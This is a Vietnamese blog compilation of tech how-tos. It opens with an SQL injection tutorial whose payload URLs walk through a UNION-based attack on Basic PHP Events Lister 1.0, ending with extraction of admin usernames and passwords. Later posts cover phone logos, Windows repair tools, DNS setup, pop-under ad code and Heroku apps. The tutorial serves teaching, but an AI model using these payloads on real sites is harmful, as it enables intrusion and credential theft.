Hướng dẫn khai thác MySQL SQL Injection

I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL

Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0

Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1
Thực hiện thêm dấu ‘ sau id=1. URL trở thành http://seamoun.com/phpevents/event.php?id=1’
Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau:

Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37

Đối tượng khai thác SQL Injection ở đây là “Basic PHP Events Lister 1.0”. Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì?
Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này
bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau.
(Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được).
Xác định có bao nhiêu trường truy vấn với URL http://seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by . Thực hiện tăng dần . Khi thực hiện order by , nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường.

Lần lượt mình thử:

http://seamoun.com/phpevents/event.php?id=1 order by 1
http://seamoun.com/phpevents/event.php?id=1 order by 2
http://seamoun.com/phpevents/event.php?id=1 order by 3

http://seamoun.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK) http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi)

Như vậy truy vấn SQL với URL trên là 15 trường (field)
Đến đây có thể điều tra phiên bản SQL, user với lệnh sau

http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1

Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như
manager, admin, administrator, systemlogin, … (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select … nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được.
Có thể đoán tên trường trong bảng admin như là username,uname,user, … pass, passwd, password, pword, …. (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau

http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu

http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với
2 trường uname và pword + tên bảng là admin
Thực hiện lệnh:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.

Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass

Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword.
0x3a—> dấu “:”. Concat sẽ thực hiện cộng chuỗi

Đến đây ta đã có thông tin uname và pword.
Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau

Điều tra thông tin bảng:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables

Điều tra thông tin trường:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns

Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, … để không bị lỗi khi khai thác như:
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin

II. Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 (milw0rm.com)

Đây chỉ là hướng dẫn cơ bản nhất về khai thác SQL – Injection đối với MySQL. Các bạn demo thì install trên máy mình để kiểm tra, đừng đi hack người khác à nha.
Nguồn: http://www.hvaonline.net/hvaonline/posts/list/25210.hva

Tự làm logo mạng cho điện thoại đen trắng

Trong số điện thoại cục gạch thì Nokia vô đối nhất. Mặc dù Nokia đã khai tử Symbian tập trung chủ yếu vào Windows Phong nhưng điện thoại cục gạch vẫn được phát triển như dòng Asha và điện thoại “thần thánh” Nokia 1280 – huyền thoại của sinh viên thì vẫn lưu truyền trong các siêu thị đến tận ngày nay và mai sau. Vì thế bài này hướng dẫn được thực hiện trên Nokia 1280 tuy nhiên có thể áp dụng cho các điện thoại đen trắng khác khả năng thành công cho các máy khác cũng là 99% nhưng trong phạm vi bài viết nó chưa được kiểm nghiệm 🙂

Yêu cầu: Có điện thoại chạy hỗ trợ chạy ứng dụng Java ví dụ Nokia 112, Nokia 109…

Bước 1: Download ứng dụng java hỗ trợ gửi logo và cài vào điện thoại có hỗ trợ Java

Download tại đây:

https://docs.google.com/file/d/0B0x5WbPiQ0WtejgwdTltTWQ1bzA/edit?usp=sharing

Bước 2: Tạo logo cho điện thoại

+ Bạn có thể tải các mẫu logo có sẵn ở đây (Click vào ảnh để đến link gốc nhé nhiều ảnh mình chưa chuyển đuôi sang bmp đâu):
– Logo của 19001588
* Xem online
1. Album: 19001588


2. Album: love


3.Album: flower


4.Album: animal


* Tải về máy:
Bạn nào không thích xem online thì tải luôn về máy rồi chọn nhé:
+ 19001588: https://docs.google.com/file/d/0B0x5WbPiQ0WtV3BLcENNM1JQZ2c/edit?usp=sharing
+ animal: https://docs.google.com/file/d/0B0x5WbPiQ0WtaDRZd1dlaGtza00/edit?usp=sharing
+ flower: https://docs.google.com/file/d/0B0x5WbPiQ0WtZ1hDTGp3TnVCUGc/edit?usp=sharing
+ love: https://docs.google.com/file/d/0B0x5WbPiQ0WtZGJCbFdxOG1kR2c/edit?usp=sharing
+ Nếu bạn không thích các mẫu logo ở trên thì bạn có thể tự thiết kế bằng phần mềm trên máy tính như paint (để mở paint Start\Run\gõ mspaint) hoặc photoshop ghi nhớ kích thước ảnh là 72×14 lưu định dạng *.bmp

Bước 3: Tải logo vào điện thoại java đã cài phần mềm ở bước 1

Bước 4: Chạy phần mềm java cài ở bước 1 nó sẽ yêu cầu bạn cho truy cập ổ đĩa và bạn tìm đến logo vừa tải về máy. Sau đó giao diện phần mềm sẽ hiện lên yêu cầu bạn điền các thông số. Bạn nhập như sau:
+ number: Số điện thoại cần gửi
+ mcc: 452
+ mnc: Gửi đến số Đt (Viettel: 04) (Mobi: 01) (Vina : 02) (Beeline : 07) (Vietnamobile : 05)
Điện thoại sẽ yêu cầu xác nhận gửi tin nhắn đến số bạn yêu cầu hay không bạn chọn đồng ý. Ok thế là xong
Đây là kết quả:

Thay đổi logo mạng cho Nokia 1280
Thay đổi logo mạng cho Nokia 1280

Giá cước gửi tính như cước gửi văn bản thông thường cước gói sinh viên của viettel thì có 100đ / tin nhắn thôi ảnh nặng thì mất 2 tin nhắn

*** Dành cho các bạn không có điện thoại java:

– Soạn tin theo cú pháp: logo hanamonline.com album ten_file_anh gửi tới số điện thoại O986.716.498 là số điện thoại của mình vì thế ko sợ bị trừ cước đâu
Trong đó:
+ logo hanamonline.com để mình biết được các bạn xem bài viết từ blog của mình và yêu cầu mình gửi logo cho bạn.
+ album: là các album ảnh mình share ở trên nếu không chọn album nào thì để “no”
+ tên file ảnh là tên các file ảnh trong album đó hoặc url file ảnh của bạn nếu album=no
– Comment dưới đây url file ảnh số điện thoại của bạn mình sẽ gửi cho các bạn
Mình sẽ cố gắng đáp ứng yêu cầu của các bạn sớm nhất có thể các bạn kiên nhẫn chờ đợi trong trường hợp không đáp ứng được mình sẽ có thông báo chính thức

Tổng hợp ảnh bìa facebook đẹp không đụng hàng (fb cover photo)

Album này có 395 ảnh đẹp chọn lọc từ nhiều trang khác nhau bạn có thể chọn làm ảnh bìa facebook cho mình mà không sợ đụng hàng. Bạn có thể xem và tải online ở dưới:


Hoặc download về máy tính tại đây:

https://docs.google.com/file/d/0B0x5WbPiQ0WtYWNMbEpHaDRZcEE/edit?usp=sharing

Tổng hợp ảnh bìa đẹp cho Google + (google plus cover photo)

Google+ vẫn chưa chói sáng trên bầu trời mạng xã hội tuy nhiên nó vẫn là đứa con cưng của Google vì thế mà nó vẫn là 1 sản phẩm ưu tú đáng sử dụng khi mà FB ngày càng chập chờn và thường xuyên bị chặn. Google+ còn có ý nghĩa đặc biệt với các webmaster trong việc quảng bá web.
Hôm nay mình giới thiệu đến các bạn bộ sưu tập ảnh nền Google+ hay còn gọi là Google Plus cover photo gồm 594 ảnh chọn lọc.
+ Các bạn có thể xem và tải trực tuyến tại Picasa


+ Hoặc download về máy tính từ Google Driver

https://docs.google.com/file/d/0B0x5WbPiQ0WtOV9ZdHR5TS01QUk/edit?usp=sharing

Fix lỗi Windows Firewall error code 0x80070437

Lỗi này xảy ra đồng thời với lỗi Windows Defense không khởi động được nguyên nhân có thể do 1 loại rootkit đã vô hiệu hóa Windows Firewall và Windows Defense. Thông báo lỗi như sau:

Windows Firewall can’t change some of your settings
Error code 0x80070437

Windows Firewall error code 0x80070437
Windows Firewall error code 0x80070437

Bạn cố gắng start dịch vụ Windows firewall từ service manager sẽ nhận được thông báo lỗi:

Windows could not start the Windows Firewall on Local Computer. For more information, review the System Event Log. If this is a non-Microsoft service, contact the service vendor, and refer to service-specific error code 5 / 13

Windows could not start the Windows Firewall on Local Computer
Windows could not start the Windows Firewall on Local Computer

Lỗi Windows Firewall error code 0x80070437 đặc biệt khó chịu khi bạn sử dụng Windows 8. Không bật được Windows Firewall bạn sẽ không thể cài đặt, update ứng dụng từ kho Apps của Microsoft. Do lần trước khắc phục mình không chụp lại ảnh màn hình nên sẽ mượn tạm ảnh từ các máy Windows 7 để minh họa. Lỗi này cũng khiến bạn không thể update cập nhật từ Microsoft

Unable to install Windows Udate error code 80246008

Unable to install Windows Udate error code 80246008
Unable to install Windows Udate error code 80246008

Để khắc phục lỗi này các bạn làm như sau:
Download và cài đặt phần mềm Tweaking.com – Windows Repair (All in One) tại đây

http://www.tweaking.com/files/setups/tweaking.com_windows_repair_aio_setup.exe
hoặc link dự phòng

Sau khi download và cài đặt các bạn mở Tweaking.com – Windows Repair (All in One) lên. Giao diện của nó thế này:

Tweaking.com - Windows Repair 1.9.14
Tweaking.com – Windows Repair 1.9.14

Các bạn có thể thực hiện từ Step 1 đến Step 4 nếu cần thiết mình chuyển qua luôn bước số 4 creat system restore và backup registry bước này là bắt buộc
Tweaking.com Windows Repair 1.9.14 step 4
Tweaking.com Windows Repair 1.9.14 step 4

Các bạn nhấn 2 nút mình khoanh tròn chờ đợi nó thực hiện xong chuyển qua tab Start Repair
Tweaking.com Windows Repair 1.9.14 start repair
Tweaking.com Windows Repair 1.9.14 start repair

Nhấn nút start nó hiện ra hộp thoại có rất nhiều tùy chọn sửa chữa ở đây mình chỉ quan tâm đến Windows Firewall
Tweaking.com Windows Repair 1.9.14 select repair
Tweaking.com Windows Repair 1.9.14 select repair

Nhấn start và chờ tiến trình sửa chữa hoàn thành
Tweaking.com Windows Repair 1.9.14 process
Tweaking.com Windows Repair 1.9.14 process

Ok xong nó sẽ yêu cầu bạn khởi động lại máy tính để hoàn thành. Thế là xong rồi đấy. Thật đơn giản nhưng không phải ai cũng biết. Tweaking.com Windows Repair 1.9.14 còn nhiều chức năng sửa chữa khác các bạn nên ghi nhớ để lần sau sử dụng nhé. Chúc các bạn thành công

Fix lỗi Windows Defender không khởi động được (Error 0x80073b01)

Thông báo lỗi xuất hiện khi bạn cố gắng mở Windows Defender GUI:

Microsoft Security Client:
An error has occurred during initialization. If this problem continues, please contact your system administrator.
Error code: 0x80073b01

Windows Defense Error 0x80073b01
Windows Defense Error 0x80073b01

Khi bạn cố gắng Start Windows Defense service trong Service manager bạn sẽ nhận được thông báo sau:

Services
The Windows Defender Service service on Local Computer started and then stopped. Some services stop automatically if they are not in use by other services or programs.

Windows Defense service error
Windows Defense service error

Nguyên nhân Windows Defense không thể khởi động được có thể do máy tính của bạn bị nhiễm 1 loại rootkit nó có chức năng vô hiệu hóa Windows Firewll và Windows Defense. Ngay cả khi bạn dùng các phần mềm diệt virus khác để làm sạch máy tính thì Defense và Firewall cũng không khởi động lại được. Để khởi động lại Defense các bạn tiến hành làm như sau:
Download phần mềm diệt virus Hitmanpro tại đây:

http://dl.surfright.nl/HitmanPro.exe
hoặc link dự phòng:

Nó là phần mềm diệt virus sử dụng điện toán đám mây nên rất nhỏ gọn song hiệu quả thì bạn sẽ thấy ngay bên dưới đây. Sau khi download HitmanPro chúng ta khởi động nó lên

HitmanPro Home
HitmanPro Home

HitmanPro có bản trả phí và dùng thử ở đây chúng ta chỉ cần dùng thử là đủ. Nhấn next 2 lần và chờ nó scan
HitmainPro scan
HitmainPro scan

Nó scan khá nhanh chờ chút nó đưa ra kết quả quét và gợi ý hành động
HitmanPro scan results
HitmanPro scan results

Ở đây mình quan tâm 3 mục liên quan đến Windows Defense mình chọn repair những cái khác mình bỏ qua. Chọn Next để nó áp dụng hành động. Sau đó là bảng thông báo kết quả
HitmanPro removal results
HitmanPro removal results

Các mục liên quan đến Defense đã được sửa thành công. Chúng ta thử mở lại Windows Defense xem nào
Defense off
Defense off

Ok không phải là thông báo màu đỏ khó chịu nữa giờ là thông báo Windows Defense đang bị tắt. Để mở lại Defense các bạn vào Control Panel\All Control Panel Items\Action Center sẽ thấy thông báo Antivirus bị tắt bạn chọn mở lại là ok
Turn on Defense
Turn on Defense

Giờ thì Windows Defense đã hoạt động trở lại. Chúc các bạn thành công

Chuyển DNS về Godaddy

Một DNS miễn phí tốt theo mình nó đáp ứng được 1 số tiêu chí sau:
– Cpanel dễ sử dụng
– Thời gian update thay đổi các bản ghi nhanh

– Hỗ trợ nhiều loại bản ghi khác nhau (DNS Record : A, CNAME, MX, TXT, NS , URL Redirect, URL Frame, Email Forwarding…)
– Live time tức là thời gian tồn tại lâu và thời gian chết ít
– Server nhanh: cái này mình nghĩ không quan trọng lắm vì các máy chủ DNS thường chỉ phải xử lý nhiều yêu cầu từ người dùng nhưng các xử lý của nó đơn giản chỉ là ánh xạ địa chỉ

DNS miễn phí thì rất nhiều tuy nhiên hôm nay mình giới thiệu các bạn DNS miễn phí của Godaddy Off-site DNS
Off-site DNS theo mình nó đáp ứng được các tiêu chí đưa ra ở trên. Mình mua và sử dụng nhiều domain ở godaddy nhận định DNS ở đây khá ổn định ngay cả khi Godaddy down thì cũng ko ảnh hưởng tới hoạt động của DNS (đã kiểm chứng lúc 10h15 phút hôm nay). Việc chuyển DNS về Godaddy khi sử dụng các dịch vụ ở Godaddy giúp cho việc quản lý đồng bộ và thuận tiện hơn.
Thôi không lan man nữa giờ bắt tay vào việc.
B1: Đầu tiên là đăng ký 1 tài khoản miễn phí ở Godaddy nếu bạn nào có rồi thì thôi. Đăng ký tại đây nếu có thông tin gì khó thì comment mình hướng dẫn:

https://idp.godaddy.com/CreateShopper.aspx?ci=10530&spkey=GDSWNET-130506071814001

B2: Login vào account của bạn click menu All All Products -> Domains -> Domain Management

Godaddy domain manager menu
Godaddy domain manager menu

B3: Trong phần Domain Manager, click vào DNS -> DNS Manager
Godaddy DNS Manager menu
Godaddy DNS Manager menu

B4: Click vào Off-site -> Add Off-site
Godaddy add off-site DNS menu
Godaddy add off-site DNS menu

Bước 5:
Phần “Domain name:” điền domain của bạn vào: ở đây mình demo là hanamonline.com mặc dù domain này có sẵn ở Godaddy rồi
Không click vào “This domain will be transferred to GoDaddy.com. Upon transfer, apply this zone file to the domain”
Godaddy add off-site dns step 1
Godaddy add off-site dns step 1

Bấm next qua bước 2
Godaddy add off-site dns step 2
Godaddy add off-site dns step 2

Ở đây bạn cũng có thể thấy GoDaddy yêu cầu mình đổi Nameserver thành

mns01.domaincontrol.com
mns02.domaincontrol.com

Ấn finish
nhận được cái thông báo thành công

Your changes have been submitted.
Please allow a few minutes for the changes to take effect.

Bấm OK là xong
Bước 6:
Xong xuôi thì bạn sẽ thấy domain đã được add ở bên dưới, không thấy thì bấm F5 lại 1 phát
Click vào Edit Zone để add vào mí cái thông số A, CNAME, MX, TXT … như ở các DNS manger khác thôi. Nhớ trỏ luôn về host để khi chuyển DNS thành công thì website của bạn không bị gián đoạn hoạt động nhé

Godaddy dns edit zone menu
Godaddy dns edit zone menu

Như thế là ok rồi cuối cùng là ta trở lại với tài khoản quản lý tên miền của tên miền cần chuyển đổi lại Nameservers như yêu cầu của Godaddy là xong
Lấy ví dụ ở PAVN nhé:
PAVN domain control
PAVN domain control

OK xong thật rồi đó việc còn lại là chờ DNS thay đổi. Nhanh hay chậm tùy nhà cung cấp. Thời gian chờ tên miền VN mình test khoảng 7-10h. Tốt nhất là xong việc rồi chúng ta quên nó đi. Đi ngủ và khi nào rảnh thì kiểm tra lại. Chúc các bạn thành công

[Best] Nút trở về đầu trang back to top

Đây là code javascript mình sử dụng cho nhiều trang với chứng năng good nhất có thể
– Tùy chỉnh vị trí hiển thị
– Tùy chỉnh text, ảnh, html,… hiển thị
– Chỉ hiển thị khi nội dung trang dài
– Code đơn giản nhẹ, dễ sử dụng

Nút back to top trở về đầu trang
Nút back to top trở về đầu trang

Để chèn nút back to top này bạn chỉ cần download file dưới đây về
backtotop.rar
Trong đó đã có hướng dẫn cụ thể
Bạn chỉ cần up các file jquery-1.7.1.min.js, scrolltopcontrol.js, backtotop.png lên hostting sau đó chèn đoạn mã vào trước thẻ
[html]
<script type="text/javascript" src="jquery-1.7.1.min.js"></script>
<script type="text/javascript" src="scrolltopcontrol.js"></script>
[/html]
Chúc các bạn thành công

Code quảng cáo góc phải trang web flash popup windows ads

bottom right conner flash popup ads windows
bottom right conner flash popup ads windows

Có thể tùy chỉnh quảng cáo là flash, video, text, hình ảnh, html…
Tùy chỉnh độ rộng, thời gian hiển thị, có nút thu nhỏ, tắt rất tiện lợi và không gây khó chịu cho khách truy cập
Chỉ cần copy code sau dán trước thẻ body trong code của bạn
[js]<br />
<script type="text/javascript">
//Alert MsgAd
clicksor_enable_MsgAlert = true;
//default pop-under house ad url
clicksor_enable_pop = true; clicksor_frequencyCap = 0.1;
durl = ”;
//default banner house ad url
clicksor_default_url = ”;
clicksor_banner_border = ‘#000f30’; clicksor_banner_ad_bg = ‘#FFFFFF’;
clicksor_banner_link_color = ‘#0c15ff’; clicksor_banner_text_color = ‘#da0041’;
clicksor_banner_image_banner = true; clicksor_banner_text_banner = true;
clicksor_layer_border_color = ”;
clicksor_layer_ad_bg = ”; clicksor_layer_ad_link_color = ”;
clicksor_layer_ad_text_color = ”; clicksor_text_link_bg = ”;
clicksor_text_link_color = ‘#0c59ff’; clicksor_enable_text_link = true;
clicksor_enable_VideoAd = true;
</script></p>
<style type="text/css">
* html div#fl813691 {position: absolute; overflow:hidden;<br />
top:expression(eval(document.compatMode &&<br />
document.compatMode==’CSS1Compat’) ?<br />
documentElement.scrollTop<br />
+(documentElement.clientHeight-this.clientHeight)<br />
: document.body.scrollTop<br />
+(document.body.clientHeight-this.clientHeight));}<br />
#fl813691{font: 12px Arial, Helvetica, sans-serif; color:#666; position:fixed; _position: absolute; right:0; bottom:0; height:150px; }<br />
#eb951855{ width:289px; padding-right:7px; background:url(https://lh5.googleusercontent.com/-tC1Af6p9aw8/UEuOWQws00I/AAAAAAAAa-g/BbHcKKr5plc/s0/fullborder_bg_right.gif) no-repeat right top;}<br />
#cob263512{background:url(https://lh4.googleusercontent.com/-ClNrLnNnkOc/UEuOWLuYZ1I/AAAAAAAAa-k/FTBzIb2RH7E/s0/fullborder_bg.gif) no-repeat left top; height:150px; padding-left:7px;}<br />
#coh963846{color:#690;display:block; height:20px; line-height:20px; font-size:11px; width:283px;}<br />
#coh963846 a{color:#690;text-decoration:none;}<br />
#coc67178{float:right; padding:0; margin:0; list-style:none; overflow:hidden; height:15px;}<br />
#coc67178 li{display:inline;}<br />
#coc67178 li a{background-image:url(https://lh6.googleusercontent.com/-GndSGSlTOiY/UEuOWHOL_3I/AAAAAAAAa-c/duzdTEwLvK0/s0/button.gif); background-repeat:no-repeat; width:30px; height:0; padding-top:15px; overflow:hidden; float:left;}<br />
#coc67178 li a.close{background-position: 0 0;}<br />
#coc67178 li a.close:hover{background-position: 0 -15px;}<br />
#coc67178 li a.min{background-position: -30px 0;}<br />
#coc67178 li a.min:hover{background-position: -30px -15px;}<br />
#coc67178 li a.max{background-position: -60px 0;}<br />
#coc67178 li a.max:hover{background-position: -60px -15px;}<br />
#co453569{display:block; margin:0; padding:0; height:123px; border-style:solid; border-width:1px; border-color:#111 #999 #999 #111; line-height:1.6em; overflow:hidden;}<br />
</style>
<div style="height: 152px; z-index:9999;" id="fl813691">
<div id="eb951855">
<div id="cob263512">
<div id="coh963846">
<ul id="coc67178">
<li id="pf204652hide"><a class="min" href="javascript:pf204652clickhide();" title="Ẩn cửa sổ này">Ẩn cửa sổ này</a></li>
<li id="pf204652show" style="display: none;"><a class="max" href="javascript:pf204652clickshow();" title="Mở cửa sổ này">Mở cửa sổ này</a></li>
<li id="pf204652close"><a class="close" href="javascript:pf204652clickclose();" title="Tắt cửa sổ này">Tắt cửa sổ này</a></li>
</ul>
<p> Hotline
</div>
<p> <!–280×133–></p>
<div id="co453569">
<img src="image/data/common/docongnghiep_bottom_banner.jpg" alt="hotline" />
</div>
</div>
</div>
</div>
<p><script>
pf204652bottomLayer = document.getElementById(‘fl813691′);
var pf204652IntervalId = 0;
var pf204652maxHeight = 150;
var pf204652minHeight = 20;
var pf204652curHeight = 0;
function pf204652show( ){
pf204652curHeight += 2;
if (pf204652curHeight > pf204652maxHeight){
clearInterval ( pf204652IntervalId );
}
pf204652bottomLayer.style.height = pf204652curHeight+’px’;
}
function pf204652hide( ){
pf204652curHeight -= 3;
if (pf204652curHeight < pf204652minHeight){
clearInterval ( pf204652IntervalId );
}
pf204652bottomLayer.style.height = pf204652curHeight+’px’;
}
pf204652IntervalId = setInterval ( ‘pf204652show()’, 5 );
function pf204652clickhide(){
document.getElementById(‘pf204652hide’).style.display=’none’;
document.getElementById(‘pf204652show’).style.display=’inline’;
pf204652IntervalId = setInterval ( ‘pf204652hide()’, 5 );
}
function pf204652clickshow(){
document.getElementById(‘pf204652hide’).style.display=’inline’;
document.getElementById(‘pf204652show’).style.display=’none’;
pf204652IntervalId = setInterval ( ‘pf204652show()’, 5 );
}
function pf204652clickclose(){
document.body.style.marginBottom = ‘0px’;
pf204652bottomLayer.style.display = ‘none’;
}
</script><br />
[/js]

Tạo app Facebook sử dụng PHP trên host Heroku toàn tập

Việc tạo và chạy 1 ứng dụng facebook trước kia lằng nhằng và có 2 cách là Dùng FBML (ngôn ngữ do facebook sáng chế ) và iframe.
Bây h facebook đã không hỗ trợ cho FBML, nghe nói cũ rồi ,1 vài ứng dụng facebook viết bằng FBML vì thế cũng chết theo ,1 vài ebook hướng dẫn làm ứng dụng cho facebook cũng không thể làm theo
Để tạo 1 ứng dụng vui trên facebook chia sẻ cùng bạn bè ,bây h không mất quá nhiều thời gian và dễ dàng hơn bao h hết .
1-Host free Heroku – cái này quá tuyệt luôn ( trước kia thì mệt lắm dùng localhost chạy qua chạy lại up lên tải xuống )
2-Heroku giúp ta phần kết nối – tạo sẵn luôn cho bạn 1 class kết nối với facebook (ngon rồi)
3-Đỡ phải config lằng nhằng nào là canvas, iframe, hay fbml ,php sdk hay javascript sdk…..
Bắt tay vào làm 1 app facebook nào:
B1:
Vô đây để đăng ký tên cho 1 app đã https://developers.facebook.com/apps sau đó click Create New App:

Create new app button
Create new app button

– Nếu ai đã từng tạo facebook sẽ có hình:
Create app facebook
Create app facebook

Sau khi click ta thấy hộp thoại sẽ hiện ra:
Creat app form
Creat app form

Chọn tên app ở đây , shi chọn Qrcode ,hay gì đó tùy bạn chọn cho hợp tên ứng dụng của bạn .
** chú ý tick vào web hosting : nhà nghèo nên dùng host heroku (biết dùng thì cực thích luôn) tiện mà free -ở đây ta đang làm trên heroku mà .
ok xong chọn continue
Nhập mã xác nhận
Nhập mã xác nhận

Gõ mã xác nhận tránh spam của facebook nhảy qua bước kế nào
Heroku PHP
Heroku PHP

Chọn ngôn ngữ ở đây là PHP và email đăng ký ở heroku (đăng ký tài khỏan mới trên web heroku) là như trên
Đăng ký Heroku thành công
Đăng ký Heroku thành công

khi nhận được thông báo như trên là xong – chúc mừng bạn đã xong bước 1
B2: vô ứng dụng vừa tạo để kiểm tra khi các thông số :
ở website -> site URL , canvas URL , secure Canvas URL, Canvas Page … tự heroku sẽ tạo và kết nối đến facebook . khi thấy các thông số trên là đã thành công 1/2 Bước 2
Cài đặt thông tin ứng dụng FB
Cài đặt thông tin ứng dụng FB

kiểm tra host heroku đã config chưa bằng cách
gõ địa chỉ http://blooming-meadow-5451-herokuapp.com
Kiểm tra host hoạt động chưa
Kiểm tra host hoạt động chưa

ra được hình trên là ổn
B3: down soft heroku tool hỗ trợ cho việc up hay thay đổi file trên server (host) heroku
http://devcenter.heroku.com/articles/quickstart – vô đây để download Heroku Toolbelt
sau khi tải và chạy màn hình dos heroku- đăng nhập bằng email + pass đã tạo
** khi nhập pass nó sẽ không hiện gì kể cả ký tự *** thường thấy , vì vậy cứ nhập cho đúng là ok

$ heroku loginEnter your Heroku credentials.Email: shimi@ymail.comPassword: Could not find an existing public key.Would you like to generate one? [Yn] Generating new SSH public key.Uploading ssh public key /Users/adam/.ssh/id_rsa.pub

.B4 : chỉnh sửa tạo ứng dụng trên máy tính của mình
mở màn hình dos của heroku gõ
$ cd trở về mục chính
rồi gõ tiếp

$ git clone git@heroku.com:blooming-meadow-5451.git -o heroku

Sử dụng Heroku Toolbelt
Sử dụng Heroku Toolbelt

trong đó
blooming-meadow-5451 là url https://blooming-meadow-5451.herokuapp.com
mà ta heroku đã tạo ra

$ git clone git@heroku.com:blooming-meadow-5451.git -o herokuInitialized empty Git repository in /Users/adam/facebook-template-php/.git/remote: Counting objects: 273, done.remote: Compressing objects: 100% (183/183), done.remote: Total 273 (delta 2), reused 261 (delta 0)Receiving objects: 100% (273/273), 25.55 KiB, done.Resolving deltas: 100% (2/2), done.
nếu hiện ra tình trạng xử lý như trên là đã thành công không thì vàođây xem thêm
mở file trong máy tính tại C:\Documents and Settings\Tên user máy tính của bạn
nếu thấy xuất hiện folder “blooming-meadow-5451” là thành công

Đồng bộ file về máy tính
Đồng bộ file về máy tính

B5 : chỉnh sửa code : thử tý xem sao
dùng notepad , DW hay notepad++ để sửa file index.php
tìm dòng chữ

Welcome to your Facebook app, running on heroku!

thay thế thử bằng

This is my app, I can edit it all I want.

save file lại
B6: upload để thay đổi trên server
Có 2 cách :
A -1 trên màn hình dos heroku bằng 2 lệnh

$ git commit -am “ghi chú” A-2 gửi 1 commit đến server để ghi chú ( mỗi lần gửi 1 commit là 1 ghi chú khác nhau – lần sau khác lần trước )
$git push heroku master
lệnh để đẩy code lên server
B cách 2 dễ hơn nhiều vì dùng chuột click click thôi – cá nhân mình thích cách này trực quan hơn .
chuột phải vào file index.php trong thư mục “blooming-meadow-5451”

Upload file chỉnh sửa lên host
Upload file chỉnh sửa lên host

sẽ ra giao diện quản lý
Git gui
Git gui

làm lần lượt
1- click recan : quét thay đổi
2- click stage changed : thay đổi
3- gõ vào commit message từ gì đó ví dụ ” 1″ (lần thay đổi sau thì gõ từ khác)
4 click commit
Push heroku
Push heroku

5 click push ra giao diện push gui
6- click tiếp push – đợi push xong
Push success heroku
Push success heroku

ra được hình tương tự như trên là bạn đã thành công rồi .
1 vài ứng dụng facebook dùng heroku đã làm
https://apps.facebook.com/ten-tieng-han/
https://apps.facebook.com/thinh-thay/
https://apps.facebook.com/bach-tuoc/
